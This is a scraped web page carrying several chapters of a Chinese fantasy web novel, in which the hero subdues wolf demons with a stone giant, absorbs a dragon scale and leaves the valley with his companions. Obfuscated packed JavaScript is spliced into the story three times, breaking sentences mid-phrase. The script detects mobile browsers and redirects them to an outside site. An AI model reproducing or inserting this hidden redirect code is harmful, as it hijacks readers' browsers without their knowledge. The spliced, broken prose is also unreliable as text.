那草丸黑不溜秋,绿不拉几,样子实在草率,以前这地方还有野鹿的时候,那些野鹿拉的屎球,差不多就这模样。 赤广红眉毛直跳:“这什么玩意?你什么意思?” “没什么意思,”亦如空真诚道,“送你们的见面礼,灵草攒丹,如此组合服食,比你们在此苦吃一月的草都有用。” 赤广怀疑地看着手上的草丸,徒幽却凑过来,好奇道:“真的假的?老子试试。” 说着,也不等赤广反对,已经捏起那丸子,飞快放进嘴里,咽了下去。 赤广阻止不及,急道:“蠢货!你怎么这般老实,他说是你就听,你不怕被这一身毒味儿的家伙毒死!” 徒幽憨声道:“老子看他样子挺老实,说的也挺诚恳的嘛……唔!” 说着,徒幽突然脸色一变,捂着肚皮,头上冒汗,似乎腹内绞痛难忍。 “徒幽!”赤广一惊,忙扶住他,转头冲着亦如空骂道,“臭小子,你这做的什么毒药!” 亦如空镇定道:“莫急,等上一等。” 果然,几息之间,徒幽不止不再腹痛,还瞬间深思清明,通体舒畅,顿有精神百倍之感。 徒幽原地蹦了几蹦,开心道:“赤广,真的有用!这小白脸没有骗咱们,老子好久没有这么舒畅过了,肚子也不饿了!” 赤广见草丸效用不假,却还是不敢放心,他狐疑地看向亦如空,道:“你小子到底想做什么?我不信你会这么好心,专门跑到这里来,教我们吸收灵气之法。” “我确实有事相商。” “什么事?” 亦如空指指他们身后的洞府:“我猜你们这里有抵御那疫病的东西,想借洞府一用。” 徒幽口快道:“你怎么知道?” 亦如空听在耳里,眼神微动,心下了然,知道自己所猜不错。 赤广立刻拍了徒幽一巴掌,粗声道:“什么抵御疫病的东西,不知道,没有!看在你态度不错,肉又不能吃,老子今天不难为你,滚吧!” 亦如空道:“有来有回,我送你们丹丸,你借我洞府一观,你不答应?” 赤广凶狠道:“不答应!快滚,否则就算不吃你,老子也要杀了你,埋在土里,给这些花花草草当肥料!” 亦如空不以为意,微微一笑:“那就没办法了。” 他说完,脚还是定在原地,并没有要离开的意思。 赤广瞪眼道:“你还不走?” 亦如空懒懒道:“为什么要走?我与你们并无交情,白白送礼给你们,礼物已下肚,回礼却还没拿到,怎能空手而归。” 赤广将手中的环刀一挥,怒道:“你他娘的要强买强卖?今日就是来砸场子的是不是?想逼我动手?你的细骨头可扛不住爷爷我的赤环刀!” 亦如空道:“我今日身体抱恙,确实不能打,不过,我找了个帮手,你可以跟他试试刀。” 说完,他抬高声音,呼喊一声:“石老儿!” 话音刚落,一阵轰隆巨响传来,远处大地竟裂开缝隙,枯木翻倒,峡谷地鸣,犹如地龙翻滚。 轰鸣中,一座岩石大山拔地而起,赤广徒幽惊惧间稳住身形看去,发现那竟是一座数丈高的石巨人。 石巨人迈步而来,每一步都踏出深坑,一串轰隆巨响间,转眼已迈到近前。 石巨人张口,对亦如空道:“主人,跟他们费什么话,直接让老儿我动手就是,一脚将他们踩个稀碎,这洞府就是主人的了。” “主人?” 赤广和徒幽听得一愣,不明白发生了什么,怎的一夜之间,这本是猎物的小子,已成了石老儿的主人。 亦如空淡淡道:“遇到事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596339|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道理先行,实在不行,先礼后兵。” 石巨人弯下腰,伸出手掌,让亦如空站在石掌上,将他托到岩山上一稳固的高处,给他寻了个稳妥的位置观战。 “主人真是讲究,两个丑妖怪不知好歹,老儿我这就替主人教训他们!” “石老儿!”赤广又惊又怒,跳脚道,“我们当初说好的划湖而分,绝不踏足对方地界,绝不互抢地盘,你怎么言而无信!” 石老儿唾骂道:“你个红毛小儿还好意思说,昨夜是谁跑到我那里又砸又抢的?老夫我以其人之道还治其人之身,今天就要在这里通通砸回来!” 石巨人说完,立刻挥掌扫腿,一时间山摇地动,土石纷纷,两个妖怪灵力低微,根本无力招架,手中刀剑带着微弱的妖力挥砍劈刺,却只在那坚硬的石头上划出几道不深的痕迹。 “丑妖怪,还敢还手?” 石老儿怒喝一声,声音在山谷间回响不绝,他乱砸一阵,俯下身来,用巨掌去拍两个妖怪,竟是要下杀手。 赤广躲避不及,被掌力扫到数次,片刻便呕出血来。 徒幽看赤广已被打成重伤,心知毫无胜算,到时候洞府保不住,命也要没了,连忙丢下兵刃,求饶道:“石爷爷,别打了,我们知道厉害了,停手吧!” 石老儿置若罔闻,就要挥下巨掌,将赤广一掌拍碎。 徒幽连滚带爬过去,抱住赤广,飞身避开一击,自己挡在前面,又对着高处的亦如空伏地求饶。 “爷爷!仙人!您大人有大量,饶我们俩一命,这洞府,让给爷爷就是!” “停。” 石老儿巨掌正要拍下,将两妖一齐粉碎,听得亦如空一声令下,石掌在徒幽头顶上方堪堪止住。 “主人,不杀了他们?” 亦如空道:“我还有话要问他们。” 石老儿将亦如空接回地面,亦如空迈到两妖身前,看徒幽正挡在赤广前方,紧张地查看他的伤势,不由叹道:“你倒是颇讲义气,生死之间,竟愿意舍身相救。” 徒幽有些畏惧地看他一眼,怯懦道:“爷爷,我俩还是小狼崽时便在一起,是一奶同胞的亲弟兄,相依为命长大,又一起修炼成精,定是要同生共死的,今日他要是死,我也不好活了。” 赤广受伤颇重,呕血不止,已处于半昏死状态。 亦如空见他二妖情坚,眸光微动,心中略有感触。 亦如空抬眼看看四面,在被翻搅得乱七八糟的地面上,勉强寻得几样灵花灵草,还是依样炮制成药丸,丢给徒幽,道:“喂他吃下去,能救他的命。” 徒幽有些诧异地看他一眼,连忙将药丸喂给赤广服下,果然,片刻后,赤广不再呕血,呼吸也暂时平稳下来。 徒幽大喜,连忙拜谢道:“多谢爷爷赐药!谢谢爷爷!” 石老儿此时收缩了身形,在亦如空身旁看完全程,忍不住道:“魔……不,主人,你还真是好心肠,不过,你怎么会这灵药炮制之法的?老儿我在这地界已久,这些花花草草却都还不认识呢。” 亦如空摇头:“我也不知,但,这人间很多东西,我莫名就是知晓。” 总觉得,已来过人间无数回。 亦如空不再多说,只看向徒幽,道:“现在,你能告诉我了么?你们这里,究竟有什么东西,能阻挡那疫病,还能让这满山长遍灵花灵草?” 31.鳞片 “记得那一日,突然发生地动,这山里塌出一个空间,里头出现一个深坑,坑底光芒大作,好一阵才平息,我和赤广当时正好在这附近,竟被那光芒冲击得晕死过去,醒来之后,却是气力十足,妖丹竟升了一阶,没多久就掌握了化形的本事。” “而且这附近不多时就开始冒出花花草草灵芝之类,赤广说,这一定是样顶级宝物,对修行大有助益,我俩于是在这地方开辟洞府,开始围着那光芒散发的地方修炼。” “不过那时,我们还不知道那是啥东西,因为一旦靠得太近,便会意识动荡,一个不小心就晕厥过去,等后来我们修为再上涨一些,能多靠近几分,才发现那发光的,是一张五颜六色的鳞片。” 徒幽讲述着,石老儿插话道:“那时候老夫正在闭关突破,竟错过了此机缘……难怪你俩小子后来要屁颠颠跑来跟老夫定什么契约,原来是怕我发现你们私藏的好东西。” 徒幽怂道:“石爷爷,你本来就修为通天,又天生不怕那东西侵扰,我们两兄弟却是没那本事,这宝物就给我俩傍身又如何……” 石老儿抬手欲打:“以前放过你们无所谓,现在这东西我主人想要,那就是主人的了。” 亦如空问徒幽道:“你们又是如何发现,这鳞片可以抵御疫病的?” 徒幽道:“必然只能是这宝贝,以前除了我和赤广,还有好几个一起混的朋友,他们都遭了那怪东西寄生,我俩以为也难逃一劫,结果遇到这机缘的那天起,那东西再也没来侵扰过我俩。” 亦如空疑惑道:“既说是疫病,你们又为何说,是寄生?” 徒幽道:“旁人都以为是怪病传染,但我可是眼睁睁看见过,那其实是一团黑气,它从七窍钻进活物脑袋里,便待在其身上,直等到那活物化成血水,那团黑气才又会从血水中冒出来,去找下一个目标!” 石老儿听着不爽:“你们竟知道这么多,竟然都不告诉老夫我,同在这地界上求生,老夫对你们十分宽容,你们竟不知恩图报。” 徒幽道:“石爷爷,你跟咱只是邻居,关系没那么亲厚……” 亦如空打断他们,道:“带我去看看那鳞片吧。” 徒幽在前头带路,引着亦如空和石老儿二人,朝洞府深处走去。 这妖怪洞府十分宽阔,大部分空间都是天然塌陷而成。 洞内转弯处,堆着一大堆外来之物,有衣物,兵器,甚至还有修士法宝。 见亦如空目光看向那堆东西,徒幽忙道:“爷爷,这些东西,都是从前那些外来人带进来的,爷爷别误会,可不是我们吃的他们,都是先被那东西害死,我们才将遗落的物品捡了回来……” 亦如空目光扫过,看见那凌乱的兵器堆里有一样微小之物,他走过去,将那物拾起。 徒幽眼巴巴一看,殷勤道:“这荷包是挺漂亮的,不过我们怎么都打不开,像是有什么法术锁着,爷爷喜欢就拿走,都是爷爷的。” 亦如空打量手中之物,它看着只是个巴掌大的荷包,月色布面,上绣兰草,样子并不特别,但那袋口上的法术,却是精妙无比。 “这似乎是个储物法宝,”亦如空略看一眼,道,“的确有用。” 他将这物收起,想着等灵力恢复一些,便设法将其开启,作为己用。 几人再往里行,直到徒幽所说的深坑附近,其下果然有莹莹光华涌出。 亦如空靠近坑口,凝视那光的源头,瞳孔微缩。 先前他一靠近这座山峰,便感知到一股浓烈的灵气汇聚,而且,那灵能之中,似乎有股熟悉的气息。 到了此处,那感觉已是强烈无比,他心中已有猜测,只待验证。 “在这里等着,我下去看看。”亦如空道。 徒幽道:“爷爷小心,那鳞片靠得太近,可是有威压冲击的,也不知上头是有什么禁制,还是灵力实在太强,我们兄弟两个试过去拿,都会被击飞弹开,只能看不能摸。” 石老儿一听,道:“主人,要不老夫下去,为你取上来。” 亦如空摇头,不由石老儿再说话,已纵身跃入那深深的地坑之中。 坑底亮光耀目,强烈的灵气在其间冲荡。 那不是此间的气息,而是来自域外的力量。 石老儿一边抓着徒幽,一边俯身朝下看,眼见亦如空在光华笼罩间,朝那鳞片伸出一只手。 石老儿有些担心,喊道:“主人,千万小心。” 亦如空没有回话,手上有一股阻力相抵,灵力冲荡间,光芒越发刺眼,他微微闭上眼,感觉有什么正在朝体内涌入。 他睁眼,毫不犹豫,破开阻力,将那片约摸两掌大,流光溢彩的半透明鳞片,一把抓在手中。 嗡的一声,灵光骤然爆发,将整个洞府映照得透亮,光芒汇作华彩,先是炸开,凝滞片刻后,再猛然收缩,朝着坑底急速聚拢。 石老儿和徒幽被冲击得倒退几步,待到光芒尽数收拢后,才得以回到深坑边缘。 石老儿朝下一看,大惊失色,亦如空手上胸口全是鲜血,那鳞片竟如刀片一般,穿过他握住鳞片边缘的手掌,将手几乎切开一半,深深嵌入了他的胸膛。 “主人!” 石老儿大喝一声,就要跳入坑底,亦如空头也未抬,只抬起另一只未受伤的手掌,反手向上一推,跃到半空的石老儿就像是被一股无形的强力托住,一瞬间反弹回去。 落回地面,石老儿倒退几步,稳住身形,赶忙再回去向下看,坑口已被灵光封住,形成一道无形的屏障。 只见亦如空已收回手掌,盘膝坐起,似在运气。 见此情形,石老儿只得先行稳住,静观其变。 “石爷爷,这仙人是什么来路?”沉默片刻,徒幽悄声道,“他连你都能收服,到底得有多大本事?” 石老儿盯着坑底,也不回答。 徒幽眼睛一转:“他似乎身受重伤,要不我们趁现在……” “找死?!” 石老儿回首一瞪,威压竟将徒幽逼得一退。 徒幽忙道:“石爷爷莫动气!小的说说而已……” 深坑之下,亦如空双眸紧闭,眼睫因为痛苦不断颤抖。 他此刻已完全确定,这就是应空的鳞片,保存完好,未被炼化过的鳞片。 这本该是他之物,然而如今这副身躯,竟似乎扛不住这一张鳞片带来的灵力冲击。 鳞片在胸口继续没入,他痛苦地咽下满喉鲜血,强行催动本不该驱使的灵力,试图将鳞片反推出去。 一寸,两寸…… 鳞片并未离体,反而继续一寸寸深入,直到锋利的边缘已触及他的心脏。 心脏被划开,锥心剧痛,亦如空再难强忍,生生呕出一口鲜血,盘坐的身形也歪倒下去。 石老儿忧心的喊叫声中,亦如空意识模糊,却仍有一丝力气强撑着,他伸出双手去握住胸口的鳞片,明知无用,却还是下意识想用蛮力将其拔出。 然而,就在这一霎,那锋利如薄铁的鳞片,竟在他手中胸口,刹那间融化了。 亦如空一怔,蹙着眉低头看,鳞片已整个消弭于他的胸前,仅化作一道灵光钻入他体内,游遍四肢百骸。 他惊讶地发现,先前那种濒死般强烈的剧痛,此刻已尽数消失,就连手掌和胸膛上血淋淋的伤口,也正在飞速愈合。 这是…… 他眸光闪动,一丝金光渐渐隐在墨色瞳孔之中。 难道,这鳞片竟想主动认主,但前提是,先要触及他的心头之血,以认身份? 亦如空抬起手,用袖口擦去唇边的血液,苦笑喃喃:“认个主罢了,竟这般凶煞,险些要我性命……什么祥瑞应空,当真是个凶兽。” 他触了触自己已经完好无损的胸膛,重新盘膝稳住,游走感知体内灵元,只觉血脉中灵力汹涌,比之元神受损前,还要强烈数倍。 然而,还没等他放下心来,忽听得顶上传来一阵惊呼,徒幽在大叫:“那东西,那东西怎么全来了!” 石老儿大喊:“是朝着坑底去的,主人小心!” 亦如空一惊,一道道青雾已泛着黑气纷纷涌来,突破那光芒屏障,钻进地坑之中。 它们聚力袭来,没有实体的气雾,竟带着一阵阵簌簌裂响。 亦如空想起身飞出地坑,那团黑雾却压着他的身体,让他寸移不得,甚至连着整个坑底一起向下沉降了数寸。 好强劲的冲击,亦如空靠着刚刚汇入身体的灵力勉力维持,忽而两道黑烟窜出雾团,直直钻入他两眼之中。 黑气入眼,意识一晃,眼前出现一串纷繁凌乱的画面—— 有什么人在他面前被杀死,血污溅了他满眼。 有一座坟,他亲手立起来的坟,他在坟边苦守,一等数载,最后,又亲手挖开这座坟,取出白骨。 他坠入黑潭中,血浆尸液满地,到处是看不清的人脸,听不清的话语,絮絮扰扰,有什么极深的遗憾,极强烈的不甘与怨愤,让他灵魂战栗。 亦如空捂住心口,这一阵黑气涌入,竟比之前的鳞片钻心还要痛苦难熬。 他微一晃头,睁眼看见那些青黑之雾还在汇聚,涌向他额间,似乎纷纷想要挤进他的身体里。 元神动荡不安,快要被这气息碾碎。 亦如空咬咬牙,灵力汇聚指尖,将接连涌向眉心的黑雾斩断,接着两掌盘聚灵力,将那些青黑雾气不断凝聚、挤压,越收越紧,渐渐攒聚成一团雾球。 他一刻不停,继续注入灵力,直到所有雾气都凝聚成一粒小小的珠子,不再有更多的黑雾袭来,这才停下。 鬓边沁出汗水,发丝被血与汗打湿,粘在脸颊脖颈,额头和胸口都在闷痛。 前一刻那鳞片入体,虽带来一些灵力,但并未修复他受损的元神,现下如此大量消耗,又是损伤不浅。 亦如空顾不上身体如何,他心中疑窦丛生,那黑雾之中,为何会有些许记忆? 而且那些记忆,带着压抑、痛苦、不甘,混乱不堪,似乎俱是怨念。 难不成,当初随着鳞片一起落入此地的,还有一股怨念? 这怨念如此强烈,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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翘枝先前被那消息冲击得不浅,亦如空思虑过后,第一次使用了忘尘椎的遗忘之法。 忘尘椎忘尘椎,能让人忘却的小锤,他只用锤头在松鼠头上轻轻一敲,便叫它将那些意外听来的秘密全数遗忘,也让松鼠沉睡了许久还未醒来。 “知道这些,于你无用,只是负累罢了。”亦如空默念。 “主人,这地方事情已了,接下来,你准备去哪?”石老儿问。 亦如空回过神来,想了想,道:“先去……洗澡。” 石老儿一愣,见亦如空已转身朝外走去,连忙跟上。 那石将军却比他动作还快,已第一时间跟在亦如空脚跟后头,殷勤道:“大王大王,小的来伺候您沐浴更衣。” 石老儿忍不住骂道:“狗腿子!这么快就认了新主子,忘了是谁一把石头一把土把你养这么大。” 亦如空一路走到岩湖边,褪下沾满血污尘土的衣物,迈入清潭之中。 眼下周遭青雾尽散,潭中倒映着青天白云,微风轻拂,空气中竟有了生机的味道。 想来过不多时,就会有清风吹来尘土,飞鸟衔来种子,让此地重新生出新芽,焕发生机。 事情虽了,他心中却一时难平。 那将活物化作血水,让人入之则死的,竟只是一丝沾在应空鳞片上,掉落此地的怨念。 他从未想过,仅仅只是自己的一丝怨念,就能灭杀此间无数生灵,生出这样可怖的结果。 当初法身和境界被天雷撕裂之时,他爆发的怨念几乎毁天灭地,那么,岂不是每一块法身碎片,都是灵能与怨气并存? 脑海中似有一个声音在说:当然,你终于明白了,除了你自己,旁人拥有,都必将不得善终。 那个原本拥有忘尘椎的邱公裕,已经葬身汪洋,身死魂消。 先后占有画骨神笔的冥树猷和答叵,一个家破人亡,妻离子散,一个断手断脚,不得超生。 那将画骨神笔运用自如的小鱼妖采乌,一样也已烟消云散,沉入海中。 究竟是争抢掠夺、人心险恶害了他们,还是因为神器之上,本就带着诅咒? 亦如空泡在潭水中看云出神,石老儿远远瞧见他的背影,老脸一红。 只见他白皙的皮肉上,尽是一身青紫,惨不忍睹。 石老儿心中知道,那些淤青都是自己昨夜下死手打出来的,还有那脸上,如今也是破了相,一想起来这茬,真恨不得给自己一巴掌。 他心中愧疚,移开目光,对石将军道:“在这里好好守着主人,若出了问题,拿你是问!” 石将军道:“旧大王放心吧,我一定会伺候好新大王的。” 石老儿真想踹那石头堆一脚,最终还是忍住了,拂袖而去。 亦如空听见动静看过来,见那石将军呆头呆脑守在旁边,一只眼睛大剌剌盯着自己。 亦如空蹙眉:“转过去。” “哦,好的大王。”石将军乖乖转过身去。 听话是听话,但是并没有什么用,因为亦如空发现,它的另一只眼睛,长在背后。 “……” 32.告别礼 何云迢从石榻上悠悠醒转。 他头疼欲裂,一直做着被石头砸脑袋的噩梦,而今一睁眼,竟真的看见成堆长着眼睛的石头,围着他打量不停。 何云迢大叫一声,险些又要吓晕过去。 他欲起身逃跑,手一动,摸见个毛乎乎的东西,拿来一看,原是那松鼠小妖翘枝。 何云迢连忙攥住它,使劲几个摇晃:“翘枝老弟,快醒醒,咱们好像掉进妖怪窝里了!” 翘枝被他一阵狂甩,终于苏醒过来,一脸迷蒙道:“何少爷?咱们还在船上吗,为何这床榻变得这般硬了……” 何云迢急道:“你恐怕睡迷糊了,我们早就上岸了,船已经沉了!” 翘枝一惊,一点记忆回笼,甩了甩脑袋:“我好像想起来了,你被石头怪砸晕抓走了,我和师父过来救你,然后……” 何云迢面露惊恐,看一眼周围:“恐怕你们营救失败,也落在石妖手里了。” 翘枝跳起来,爬上何云迢的肩膀,躲在他脖子后头:“一堆只会眨眼睛的石头,看起来也没多么厉害,我师父怎么会打不过?” 何云迢道:“仙师用不了灵力,使不出法术,自然敌不过妖怪,现在他也不知去了何处,咱们还是赶紧想办法跑吧。” 正计划脱逃,殿外通道口冒出个眼歪嘴斜的人形碎石妖怪,那石妖瞧见何云迢从榻上坐起,立刻转身往外跑,边跑边高喊:“大王大王,猎物醒了!” 何云迢与翘枝大惊失色,左看右看,身后别无退路,通道门口还有其他妖怪,甚至,妖怪们的大王就要来了! “拼一把,跑!”何云迢跳起来,一顿乱拳飞踢,踹开凑上来的石头,撒腿朝外跑。 离通道口几步之远,却见亦如空施施然从外面走了进来,周围簇拥着一堆石头小妖。 何云迢脚步一顿,被石头绊倒,跌在地上,仰望着亦如空,惊诧道:“仙师,你也被这些妖怪抓来了?快跑吧,这些还只是小妖,再过一会儿,它们的大王就要来了!” 他说着话,一边还要踹开那些眼睛骨碌的绊脚石,翘枝扒在他头上朝下张牙舞爪,也是空忙一场,无甚作用。 亦如空静静看着他们手忙脚乱一阵,才淡淡道:“它口中的大王,应该是我。” 此话一出,何云迢和翘枝全都静止了。 亦如空见他们呆愣,嘴角一扬,补充道:“我就是他们的大王。” “……啊?” 石妖洞府里,人与妖和平相对,纷纷在石老儿新凿出来的石椅上落座。 翘枝得知亦如空已经成了此间的老大,得意得尾巴都要翘到天上去。 “师父英明神武,师父法力无边,灵力受限,照样能收服群妖,拿下山头。” 石老儿冷哼一声,他瞧这小妖与凡人,怎么瞧怎么不顺眼。 想来也是世事无常,魔君如今在人间另有奇遇,竟开始关心这些凡人末妖的死活,也不知虚弥之境里的众生,在魔君心中,还占据几分地位。 顺着翘枝的话头,何云迢亦感慨不止:“仙师神能,果然了得。” 亦如空听得烦了,递过去一个小包,何云迢接过,打开一看,里头都是些青黑的草丸。 翘枝晃眼一看,口快道:“师父,哪里来的这堆屎球?你捡这玩意做什么,多脏啊,快丢了。” 亦如空面色如常,平淡道:“肚子不饿吗?饿就赶紧吃。” 翘枝惊诧:“再饿也不能吃屎啊。” 何云迢拈起一粒丸子,对着夜明珠洒落的光芒一看,道:“这恐怕是草药做成的丹丸吧?仙师让我们吃,那定然是不会错的。” 说着,他眼也不眨,直接将草丸放进了嘴里。 “丹药?”翘枝揉揉眼睛,不像啊,怎么看都是…… 松鼠这副挑挑拣拣的样子,石老儿在旁边十分看不惯:“小耗子不知好歹,主人亲自给你做补药灵丹,普天之下几个能有此殊荣?身在福中不知福,倒是这个凡人小子,还有几分识相。” 翘枝见自己头号拥趸的地位就要易主,不服道:“你个老妖王,不过是我师父的手下败将,嚷嚷什么?当个手下败将奴仆,竟还当出成就感了,师父给的好东西,我肯定是要吃的,舍不得吃那么快罢了。” 说着一咬牙,过去捧起一颗草药丸子,梗着脖子吞了。 丹药下肚,翘枝捂着肚子道:“丹药都是如此味道么,那那些走炼丹修炼之道的修士们,也太惨了些。” 何云迢咽下那药丸之后,只微微一阵腹痛,接着便饥渴全消,只觉舒畅无比,心中不由得对亦如空更加信服。 正感慨着这草丸的神奇,忽听得亦如空说道:“明日一早,我们就离开此地。” 何云迢一听,张了张嘴,欲言又止。 亦如空看他一眼,见他似乎有话要说,又好像不好开口,便主动问道:“你想说什么?” 何云迢连忙道:“我……可否在此地多逗留一两日?” “为何?” “这地方此前无人成功探寻过,我们若能走出去,当是第一个,离开之前,若能画出此地的大致地图来……不瞒仙师说,在下自小便不爱生意,更想周游列国,踏遍五洲,若能发现新地,为之命名绘图,那当是我生平一大幸事。” 亦如空见他两眼发亮,满面憧憬,想了想,道:“可以,但,只限一日。” 何云迢欣喜道:“好!” 亦如空目光一转,似有所想,道:“正好,我也还有一事要做。” 峡谷高处,何云迢拿着炭条,在包袱布上画地图,他两手乌黑,脸上也是黑痕道道,神情专注,兴奋无比。 此地无人知晓,他将是第一个画出此处地图的人,一想到这里,他心中便慷慨激昂,半分疲劳皆无。 翘枝看他不停写写画画,已经看乏了,懒洋洋道:“何少爷,你还真是不嫌累啊,这爬上爬下的,我看着都累。” 何云迢顾不上理会,他看着峡谷下方那片清湖,口中念念道:“这湖真是片风景,既然是我和仙师一起发现的,那便用我们二人的名字命名吧,就叫……云空湖,翘枝老弟,你觉得怎么样?浮云倒影,如在空中,嘿,真是好名字。” 何云迢美滋滋记录下来,翘枝叫起来:“怎么没有我的份?而且,为什么师父排在后面?” 一人一鼠在外头争争吵吵,勘地画图,亦如空则在石妖洞府中打坐,将自己接下来的打算告知于石老儿。 “剥魂玉玺中洲藏,血字四张落西荒……”石老儿默默念着这句话,若有所思。 亦如空道:“当日我来不及看清全部,除了这两行字,其他部分都已剥离损毁,如若不然,我定能记住。” 石老儿道:“受此地禁锢,老儿能探听到的信息毕竟有限,倒是曾在那些修士口中听来一些,应空法身碎片所炼秘宝中,确实有一方玉玺,说是能摧城拔寨,夺人神魂,实在是神通无边,不过只是传说,并不知其在何处。” 他顿了顿,接着道:“至于这血字四张,老儿却是未曾听闻过,若按这句话中所言,应是在西荒部洲,那里可是跟北蛮雪域一样,人迹罕至之地啊,若是要前往寻觅,如大海捞针,恐怕不容易。” 亦如空眸光闪动,眼神坚决:“当今之计,只能先在中洲一寻那玉玺,听闻此洲富庶,人海茫茫,消息定不会少。” 石老儿点头称是:“无论如何,后边的路,老儿定然陪着主人一起走,这许多年来,我始终盼着有朝一日能重回虚弥之境,没想到,竟真让我盼到了魔君来此。” 亦如空看向他:“现在此地恶疫已解,你若在此继续称王,潜心修炼,余生定可安稳,若是跟我去求一个虚无缥缈的目标,恐怕飘零辛劳。” 石老儿瞪起眼:“魔君这是哪里的话?老儿我之所求,绝非在这异乡之地安稳余生,哪怕只有一线希望,为了虚弥之境,我也要拼上一把!” 亦如空见他意已决,也不再劝阻,只点头道:“离开之前,我还要去做一件事。” 赤广样子虚弱,但好歹清醒过来,此时正带着徒幽一道,在洞府门口被翻搅一片的空地上搜寻。 “这些灵草都捡回去,好生收着,宝鳞被取走,往后这地界,也不知道还能不能长出这些奇花异草,剩下的这点,可别浪费了。” 赤广说着,不见徒幽回应,一回头,看见自己那蠢弟弟正两眼发直,一脸痴笑,嘴边溢出口水。 赤广皱眉:“你干什么呢?” 徒幽吸着口水道:“嗬嗬,闻到人肉香味了。” 赤广一闻,果然有味,原来是何云迢已到了两个狼妖的洞府附近画图,人肉味随风飘来,勾得徒幽口水直流。 赤广道:“别想了,那石老儿,还有那个仙人,不好对付。” 徒幽叹息道:“唉,也是,不过,好在那位仙人爷爷虽取走了鳞片,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620550|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也带走了那东西,说不定过段时间,这里又有山鸡兔子野鹿了。” 他说着,嘴边又溢出口水来。 赤广嫌弃道:“擦擦口水,现在还没有那些东西,你馋个屁。” 徒幽抹了抹下巴,嘿嘿一笑:“不怪我,那个凡人小子一直在附近转悠,这人肉香味,勾得老子心痒痒。” 赤广眯起眼睛,道:“你,真那么想吃?” 徒幽唉声叹气道:“闻得见吃不着,实在难熬啊,赤广,要不咱搏一把,抓了那小子,给你补补身子,死也做个饱死鬼。” 正说着,一颗石子飞来,正打在徒幽头上。 徒幽哎哟一声,摸着脑袋转脸一看,竟是那夺走鳞片的仙人,他此刻正靠坐在一棵高树横枝上,嘴角勾起一道锋利的弧度,眼中带着点让徒幽发慌的笑意。 徒幽搓了搓手,讪笑道:“爷爷,您又来了啊,还有什么指示?” 亦如空朝他勾勾手指,示意他靠近。 赤广警惕地拉住徒幽,徒幽道:“没事的,这位仙人爷爷是讲理的好人。” 亦如空见徒幽走到树下,俯看着他道:“离别之际,我想再送你们一样礼物。” 徒幽两眼一亮:“还有礼物?” 亦如空点头:“传授你们几个丹方,你们且好生接着。” 竟有这等好事,徒幽连忙道:“多谢爷爷,爷爷请!” 亦如空轻盈一跃,落下横枝,一手掐诀,指尖灵光一束,带着丹方打进徒幽和赤广的额心。 送完丹方,亦如空收回手,悠悠道:“这可是我花费好几个时辰弄出来的,你们可好好珍惜。” 两个妖怪摸摸额头,似乎没什么感觉,但是再转眼看那些杂乱无章的灵草,脑子里竟突然有了如何分类取食的认知。 徒幽大喜:“爷爷真是大好人!” 亦如空轻轻一笑,似乎不打算多留,转身欲走。 他走出几步,忽又回过头来,好像刚刚想起来似的,淡淡说道:“哦,对了,刚才除了丹方,我还顺便给你们打进去一个限制咒印。” 赤广闻言一惊:“什么?你!” 徒幽愣住了:“爷爷,这是什么意思?” 亦如空道:“你们的命是我留的,而今此地封印已除,你们可能去往任何地方,若是吃人害命,就成了我的过失,有此咒印压着,你们再动吃人的念头,便是不能,若伤人,便死。” 话音还未落地,他的人已翩然而去,消失在视线中。 徒幽赤广面面相觑,毫无办法,只能认下。 亦如空花费时间造出此咒印,并非他多想留着这两个妖怪的性命,若是往常,他也不太会在意他们所造成的后续,但现在,他内心想着,那怨念已在此地造出太多杀孽,往后,能少则少吧。 待到一日后,何云迢画好了大致的河川山脉图,给各处都起好名字,便到了出发的时候。 将离之时,石将军想要跟上,石老儿骂他:“你这副鬼样子,外面的人一看就知道你是妖怪,还是在家带着小的们好好修炼吧,待到哪天能幻化出个像模像样的人形,再来找我。” 告别一把鼻涕一把泪的石将军,几人一路不停,行至边界,那被恶念侵蚀的荒凉之地已在身后。 迈过那荒芜与草木繁盛的交界处,是一片乱石林,尖峭的石林石柱长满了整片区域,底下全是葱郁的草木,仿佛迷宫阵一般。 石林错乱,走在其中极易迷失方向,若不是那些修士冲着灵药异兽而专程前来,普通人恐怕很难靠近这块地界。 “过往我用神识探查时,一直没能突破这片地方,只能往其他几个方向散发。”石老儿叹息道,“可惜我的搬山之术只能用在长期修炼之处,不然,带着你们离开这里就简单了。” 何云迢抓挠着被草木叶片磨得刺痒的皮肤,道:“这个方向离濮支国边境最近,走这里是最快的,其他方向都要多绕好几天的路。” 翘枝道:“师父,这里,应该……不会有什么危险吧?” 刚说完这话,石老儿突然眉头一皱,道:“不对,好像有妖气。” 何云迢和翘枝一无所感,亦如空目光划过石林草木,缓缓道:“除了妖气,还有一样气息。” 石老儿一怔:“什么?” 亦如空目光一凛,铮然道:“杀气。” 话音刚落,破风声响,一支利箭已经朝着亦如空直射而来。 33.捕妖 那箭矢带着罡气,倏地疾速而来,瞬息之间,离亦如空的喉结仅剩半寸。 然而,这一箭终究未能越过余下的半寸。 寒芒刚入眸底,亦如空已抬手,一展一攥,将那利箭握进掌中。 